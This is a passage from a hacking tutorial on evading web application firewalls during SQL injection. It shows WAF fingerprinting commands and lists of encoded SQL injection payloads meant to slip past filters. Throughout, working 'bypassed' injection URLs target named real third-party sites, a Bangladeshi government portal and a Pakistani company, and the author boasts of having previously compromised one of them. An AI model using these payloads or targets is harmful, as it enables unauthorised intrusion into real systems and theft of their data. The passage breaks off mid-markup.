white; border: 0px; box-sizing: border-box; font-size: 13pt; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: 1.42em; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;">Web Application Firewall</a></u></div> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px;"><br /></span></div> <span style="background-color: white;"><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"></span></span><br /> <div style="text-align: center;"> <span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><span style="background-color: white; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">WAFs are typically deployed in some sort of proxy fashion just in front of the web applications, so they do not see all traffic on our networks. By monitoring the traffic before it reaches the web application, WAFs can analyze requests before passing them on. This is what gives them such an advantage over IPSs. Because IPSs are designed to interrogate all network traffic, they cannot analyze the application layer as thoroughly as WAF.</span></span></div> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"> </span><br /> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px;"><br /></span></div> <span style="background-color: white;"><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"></span></span><br /> <div style="text-align: center;"> <span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><span style="background-color: white; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">Here is an example MOD security WAF</span></span></div> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"> </span><br /> <pre style="background: rgb(13, 62, 85); border-radius: 5px; border: 1px solid rgb(181, 181, 181); box-sizing: border-box; color: white; font-family: inherit; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin-bottom: 15px; margin-top: 15px; max-height: 400px; overflow: auto; padding: 10px; text-align: justify; vertical-align: baseline; width: 704.875px;"><div style="text-align: center;"> <span style="background-color: white; font-family: inherit; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">Normal URL</span></div> <span style="background-color: white;"> </span><div style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 13pt; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: 1.42em; margin: 0px; padding: 0px; text-align: center; text-decoration: none; vertical-align: baseline;"> <a href="http://bpc.gov.bd/contactus.php?id=4" style="border: 0px; box-sizing: border-box; font-size: 13pt; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: 1.42em; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank"><span style="background-color: white; color: black;">http://bpc.gov.bd/contactus.php?id=4</span></a></div> <span style="background-color: white;"> </span><div style="text-align: center;"> <span style="background-color: white; font-family: inherit; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">Detected By MOD Security</span></div> <span style="background-color: white;"> </span><div style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 13pt; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: 1.42em; margin: 0px; padding: 0px; text-align: center; text-decoration: none; vertical-align: baseline;"> <a href="http://bpc.gov.bd/contactus.php?id=4%27%20UNION%20SELECT%201,2,3--%20-" style="border: 0px; box-sizing: border-box; font-size: 13pt; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: 1.42em; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank"><span style="background-color: white; color: black;">http://bpc.gov.bd/contactus.php?id=4' UNION SELECT 1,2,3-- -</span></a></div> <span style="background-color: white;"> </span><div style="text-align: center;"> <span style="background-color: white; font-family: inherit; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">Bypassed:</span></div> <span style="background-color: white;"> </span><div style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 13pt; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: 1.42em; margin: 0px; padding: 0px; text-align: center; text-decoration: none; vertical-align: baseline;"> <span style="background-color: white; color: black;"><a href="http://bpc.gov.bd/contactus.php?id=.4%27/*!50000UNION*//*!50000SELECT*/1,2,3,4,5,6,7--%20-" style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 13pt; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: 1.42em; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank"></a><a href="http://bpc.gov.bd/contactus.php?id=.4%27/*!50000UNION*//*!50000SELECT*/1,2,3,4,5,6,7--%20-" style="border: 0px; box-sizing: border-box; font-size: 13pt; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: 1.42em; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank">http://bpc.gov.bd/contactus.php?id=.4'/*!50000UNION*//*!50000SELECT*/1,2,3,4,5,6,7-- -</a></span></div> <span style="background-color: white;"> </span></pre> <span style="background-color: white;"><br /></span> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;">Now before i continue i would like to share a very interesting fact about this site, i remember its vulnerable since a long time. Last time we injected it and owned it. This time when i started injecting i found something is changed. I thought its no more vulnerable. But then i came to know its still vulnerable the only change made i they are no using two firewalls. Its like the admin do not want to waste time in changing the application code and remove the vulnerability, he only fucking want to increase the count of firewalls to increase security. Damn You!! why dont you fucking remove the vulnerability rather than using more WAF.</span></div> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px;"><br /></span></div> <div style="text-align: center;"> <span style="background-color: white;"><img src="http://securityidiots.com/post_images/vuln_and_we_know_it.png" style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin: 0px; max-width: 100%; padding: 0px; text-align: justify; vertical-align: baseline;" /></span></div> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px;"><br /></span></div> <span style="background-color: white;"><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"></span></span><br /> <div style="text-align: center;"> <span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><span style="background-color: white; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">Remember WAF is a good security, but you can not just leave the application vulnerable and completely rely on WAF for security. Now lets move to our next topic detecting the WAF</span></span></div> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"> </span><br /> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px;"><br /></span></div> <span style="background-color: white;"><br /></span> <h4 style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-stretch: inherit; line-height: 1.75em; margin: 0px 0px 1em; padding: 0px; text-align: center; vertical-align: baseline;"> <u style="border: 0px; box-sizing: border-box; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><a href="https://www.blogger.com/null" name="detectingwaf" style="background-color: white; border: 0px; box-sizing: border-box; font-size: 13pt; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: 1.42em; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;">Detecting the WAF</a></u></h4> <span style="background-color: white;"><br /></span> <div style="text-align: center;"> <span style="background-color: white;"><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;">There are many tools and scripts which can detect and fingerprint WAF presence over an Application, which includes but not limited to</span><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"> </span></span></div> <span style="background-color: white;"><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"></span></span><br /> <div style="text-align: center;"> <span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><span style="background-color: white; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">NMAP</span></span></div> <span style="background-color: white;"><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"> </span><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><div style="text-align: center;"> <span style="font-size: 17.3333339691162px; line-height: 24.6133346557617px;">wafw00f</span></div> </span><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><div style="text-align: center;"> <span style="font-size: 17.3333339691162px; line-height: 24.6133346557617px;">Checking the response headers</span></div> </span><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><div style="text-align: center;"> <span style="font-size: 17.3333339691162px; line-height: 24.6133346557617px;">Checking Response Body</span><span style="font-size: 17.3333339691162px; line-height: 24.6133346557617px;"> </span></div> </span><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><div style="text-align: center;"> <span style="font-size: 17.3333339691162px; line-height: 24.6133346557617px;">etc</span></div> </span></span><br /> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px;"><br /></span></div> <span style="background-color: white;"><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"></span></span><br /> <div style="text-align: center;"> <span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><span style="background-color: white; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">Here we will discuss basic syntax of NMAP and WAFw00f but for the rest i will suggest you reading Rafay Baloch Research Papers on WAF, its already nicely discussed and explained over there, so i suppose there is no meaning to write the same things over here and making this tutorial lengthy.</span></span></div> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"> </span><br /> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px;"><br /></span></div> <span style="background-color: white;"><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"></span></span><br /> <div style="text-align: center;"> <span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><span style="background-color: white; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">Detecting WAF using NMAP</span></span></div> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"> </span><br /> <pre style="background: rgb(13, 62, 85); border-radius: 5px; border: 1px solid rgb(181, 181, 181); box-sizing: border-box; color: white; font-family: inherit; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin-bottom: 15px; margin-top: 15px; max-height: 400px; overflow: auto; padding: 10px; text-align: center; vertical-align: baseline; width: 704.875px;"><span style="background-color: white;">nmap -p80 --script http-waf-detect <host></span></pre> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;">Fingerprinting WAF using NMAP</span></div> <pre style="background: rgb(13, 62, 85); border-radius: 5px; border: 1px solid rgb(181, 181, 181); box-sizing: border-box; color: white; font-family: inherit; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin-bottom: 15px; margin-top: 15px; max-height: 400px; overflow: auto; padding: 10px; text-align: center; vertical-align: baseline; width: 704.875px;"><span style="background-color: white;">nmap -p80 --script http-waf-fingerprint <host></span></pre> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;">Fingerprinting WAF using WAFw00f</span></div> <pre style="background: rgb(13, 62, 85); border-radius: 5px; border: 1px solid rgb(181, 181, 181); box-sizing: border-box; color: white; font-family: inherit; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin-bottom: 15px; margin-top: 15px; max-height: 400px; overflow: auto; padding: 10px; text-align: center; vertical-align: baseline; width: 704.875px;"><span style="background-color: white;">wafw00f.py <url></span></pre> <span style="background-color: white;"><br /></span> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;">Once you know the WAF you are dealing with, you can search for its available Bypass.</span></div> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px;"><br /></span></div> <span style="background-color: white;"><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"></span></span><br /> <div style="text-align: center;"> <span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><span style="background-color: white; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">Now moving on to the most favorite methods of all Inj3ct0rs which is Bypassing the WAF manually.</span></span></div> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"> </span><br /> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px;"><br /></span></div> <span style="background-color: white;"><br /></span> <h4 style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-stretch: inherit; line-height: 1.75em; margin: 0px 0px 1em; padding: 0px; text-align: center; vertical-align: baseline;"> <u style="border: 0px; box-sizing: border-box; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><a href="https://www.blogger.com/null" name="bypasses" style="background-color: white; border: 0px; box-sizing: border-box; font-size: 13pt; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: 1.42em; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;">Types of Approaches used and thier bypasses</a></u></h4> <span style="background-color: white;"><br /></span> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;">We will learn multiple ways of WAF bypass and once we are finished, we ll couple them up and mix them together for complex WAF bypasses methods.</span></div> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px;"><br /></span></div> <span style="background-color: white;"><br /></span> <h4 style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-stretch: inherit; line-height: 1.75em; margin: 0px 0px 1em; padding: 0px; text-align: center; vertical-align: baseline;"> <a href="https://www.blogger.com/null" name="encodingbypass" style="border: 0px; box-sizing: border-box; font-size: 13pt; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: 1.42em; margin: 0px; padding: 0px; vertical-align: baseline;"><span style="background-color: white; color: black;">1. Different Types of Encoding</span></a></h4> <span style="background-color: white;"><br /></span> <div style="text-align: center;"> <span style="background-color: white;"><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;">There are many types of encoding, some of them are supported by the Application Server, Some of them are supported by the Web App and some of them are supported by the Database Server. When we send a request it goes through many Layers and Different types of Application before our input reach the database, which is why many times we are able to use different types of encodings and double encoding which are not supported by database server but the other applications in between, which may decode our input and pass it to the database server. Sometimes taking advantage of such behaviour helps us to bypass WAF.</span><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"> </span></span></div> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px;"><br /></span></div> <span style="background-color: white;"><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"></span></span><br /> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><span style="font-size: 17.3333339691162px; line-height: 24.6133346557617px;">Lets take a basic example there is a nice filewall implemented on an application. The application have a get parameter input which is first encoded into Base64 and then Rot13, now heres the funny part. When we inject such application our Input goes encoded and Bypass WAF, next when it come to the application its decoded and then sent to databse server. Here we bypassed WAF because our input was encoded and the application decoded it before it was passed to database.</span><span style="font-size: 17.3333339691162px; line-height: 24.6133346557617px;"> </span></span></div> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"> </span><br /> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px;"><br /></span></div> <span style="background-color: white;"><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"></span></span><br /> <div style="text-align: center;"> <span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><span style="background-color: white; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">In this manner there are many different types of encodings which we can use to bypass WAF for example URL Encoding, Hexing, Binary, Unicode etc. First of all we will start with bypassing the test condition rules which many WAFs are blocking these days like:</span></span></div> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"> </span><br /> <pre style="background: rgb(13, 62, 85); border-radius: 5px; border: 1px solid rgb(181, 181, 181); box-sizing: border-box; color: white; font-family: inherit; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin-bottom: 15px; margin-top: 15px; max-height: 400px; overflow: auto; padding: 10px; text-align: justify; vertical-align: baseline; width: 704.875px;"><div style="text-align: center;"> <span style="background-color: white; font-family: inherit; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">Blocked True Conditions</span></div> <span style="background-color: white;"> 1 or 1=1 1' or ''=' </span><div style="text-align: center;"> <span style="background-color: white; font-family: inherit; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">1" or true#</span></div> <span style="background-color: white;"> 1" or ""=" 1' or true# </span><div style="text-align: center;"> <span style="background-color: white; font-family: inherit; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">etc.</span></div> <span style="background-color: white;"> </span><div style="text-align: center;"> <span style="background-color: white; font-family: inherit; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">1 or true#</span></div> <span style="background-color: white;"> </span></pre> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;">Now Lets Mix Up some common sense and encodings to bypass such filters:</span></div> <pre style="background: rgb(13, 62, 85); border-radius: 5px; border: 1px solid rgb(181, 181, 181); box-sizing: border-box; color: white; font-family: inherit; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin-bottom: 15px; margin-top: 15px; max-height: 400px; overflow: auto; padding: 10px; text-align: justify; vertical-align: baseline; width: 704.875px;"><div style="text-align: center;"> <span style="background-color: white; font-family: inherit; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">or '1</span></div> <span style="background-color: white;"> || '1 </span><div style="text-align: center;"> <span style="background-color: white; font-family: inherit; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">null' || 'a'=_binary'a</span></div> <span style="background-color: white;"> 1' || 'a'=x'61 </span><div style="text-align: center;"> <span style="background-color: white; font-family: inherit; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">1' %26%26 %270%27%3dx'30</span></div> <span style="background-color: white;"> 1' && '0'=x'30 </span><div style="text-align: center;"> <span style="background-color: white; font-family: inherit; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">1 or 1.e1=0b1010</span></div> <span style="background-color: white;"> 2' && 0.e1=_binary"0 ' || 1 like 1 </span><div style="text-align: center;"> <span style="background-color: white; font-family: inherit; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">110 or x'30'=48</span></div> <span style="background-color: white;"> '-' "-" ' || 2 not like 1 '1'!=20 </span><div style="text-align: center;"> <span style="background-color: white; font-family: inherit; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">12 || 0b1010<0b1011</span></div> <span style="background-color: white;"> 1 or 20!='1' 2 and 2>0 3 || 0<1 </span><div style="text-align: center;"> <span style="background-color: white;"><span style="font-family: inherit; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">0b11 || 0b1010</span><x 0b0="" 0x3132="" or="" style="box-sizing: border-box; font-family: inherit; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">x'30'</x></span></div> <span style="background-color: white;"> <x 0b0="" 0x3132="" or="" style="box-sizing: border-box;"><div style="text-align: center;"> <span style="font-family: inherit; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">1 or 0b1</span></div> <div style="text-align: center;"> <span style="font-family: inherit; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">2121/**/||21</span></div> <div style="text-align: center;"> <span style="font-family: inherit; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">111' or _binary'1</span></div> 1 or 2121 <div style="text-align: center;"> <span style="font-family: inherit; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">1' or 12 rlike '1</span></div> </x></span></pre> <span style="background-color: white;"><br /></span> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;">Using the above Bypasses and by mixing them up you can generate thousands of different payload and bypasses. Here i have used Binary, Hex encoding as well as some keywords to bypass. Actually WAFs detect anything malicious using the ruleset defined with them. So we need to generate something different to confuse them.</span></div> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px;"><br /></span></div> <span style="background-color: white;"><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"></span></span><br /> <div style="text-align: center;"> <span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><span style="background-color: white; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">If you did not understood above methods here is a basic explanation of using Binary, Hex, Like and Rlike in SQL</span></span></div> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"> </span><br /> <pre style="background: rgb(13, 62, 85); border-radius: 5px; border: 1px solid rgb(181, 181, 181); box-sizing: border-box; color: white; font-family: inherit; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin-bottom: 15px; margin-top: 15px; max-height: 400px; overflow: auto; padding: 10px; text-align: justify; vertical-align: baseline; width: 704.875px;"><div style="text-align: center;"> <span style="background-color: white; font-family: inherit; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">Binary</span></div> <span style="background-color: white;"> </span><div style="text-align: center;"> <span style="background-color: white; font-family: inherit; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">Select 1 from dual where 0b1010=10</span></div> <span style="background-color: white;"> Hex Type 1 </span><div style="text-align: center;"> <span style="background-color: white; font-family: inherit; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">Hex Type 2</span></div> <span style="background-color: white;"> Select 1 from dual where '0'=x'30' </span><div style="text-align: center;"> <span style="background-color: white; font-family: inherit; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">Like statement</span></div> <span style="background-color: white;"> Select 1 from dual where 0x30='0' Select 1 from dual where 1 like 1 </span><div style="text-align: center;"> <span style="background-color: white; font-family: inherit; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">Select 1 from dual where 1||1</span></div> <span style="background-color: white;"> Rlike Statement Select 1 from dual where 12 rlike 1 || (OR) && (And) </span><div style="text-align: center;"> <span style="background-color: white; font-family: inherit; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">Select 1 from dual where 1&&1</span></div> <span style="background-color: white;"> </span></pre> <span style="background-color: white;"><br /></span> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;">Here we can see some working examples:</span></div> <span style="background-color: white;"><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"></span></span><br /> <div style="text-align: center;"> <span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><span style="background-color: white; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">Blocked:</span></span></div> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"> </span><br /> <pre style="background: rgb(13, 62, 85); border-radius: 5px; border: 1px solid rgb(181, 181, 181); box-sizing: border-box; color: white; font-family: inherit; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin-bottom: 15px; margin-top: 15px; max-height: 400px; overflow: auto; padding: 10px; text-align: justify; vertical-align: baseline; width: 704.875px;"><div style="text-align: center;"> <span style="background-color: white; font-family: inherit; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">http://www.prizmconsulting.com.pk/news.php?actionvar=news&id=1 or 1</span></div> <span style="background-color: white;"> </span><div style="text-align: center;"> <span style="background-color: white; font-family: inherit; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">http://www.prizmconsulting.com.pk/news.php?actionvar=news&id=1 or 1=1</span></div> <span style="background-color: white;"> </span><div style="text-align: center;"> <span style="background-color: white; font-family: inherit; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">http://www.prizmconsulting.com.pk/news.php?actionvar=news&id=1 or 0>2</span></div> <span style="background-color: white;"> </span></pre> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;">Bypassed</span></div> <pre style="background: rgb(13, 62, 85); border-radius: 5px; border: 1px solid rgb(181, 181, 181); box-sizing: border-box; color: white; font-family: inherit; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin-bottom: 15px; margin-top: 15px; max-height: 400px; overflow: auto; padding: 10px; text-align: justify; vertical-align: baseline; width: 704.875px;"><div style="text-align: center;"> <span style="background-color: white; font-family: inherit; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">http://www.prizmconsulting.com.pk/news.php?actionvar=news&id=1 or ''=''</span></div> <span style="background-color: white;"> </span><div style="text-align: center;"> <span style="background-color: white; font-family: inherit; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">http://www.prizmconsulting.com.pk/news.php?actionvar=news&id=1 || 0b1=x'31'</span></div> <span style="background-color: white;"> http://www.prizmconsulting.com.pk/news.php?actionvar=news&id=1 ||'1'!=20 </span><div style="text-align: center;"> <span style="background-color: white; font-family: inherit; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">http://www.prizmconsulting.com.pk/news.php?actionvar=news&id=1 || 1 like 1</span></div> <span style="background-color: white;"> http://www.prizmconsulting.com.pk/news.php?actionvar=news&id=1 || 1=1 </span><div style="text-align: center;"> <span style="background-color: white; font-family: inherit; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">http://www.prizmconsulting.com.pk/news.php?actionvar=news&id=1 || 12 rlike 1</span></div> <span style="background-color: white;"> </span></pre> <span style="background-color: white;"><br /></span> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;">As we know SQL do not support URL encoding but Webserver and Apllication do. So we can also use URL encoding to bypass WAF. The first thing is to understand how is works. Some times when a Network Based Firewall is implemented or even in case of a Application firewall this could happen that the WAF is not docoding our input while comparing with the rule set. When our input reach to the server or the application then it is decoded, and then it is passed to the database server. In this manner URL encoding also helps us Bypassing waf many times.</span></div> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; 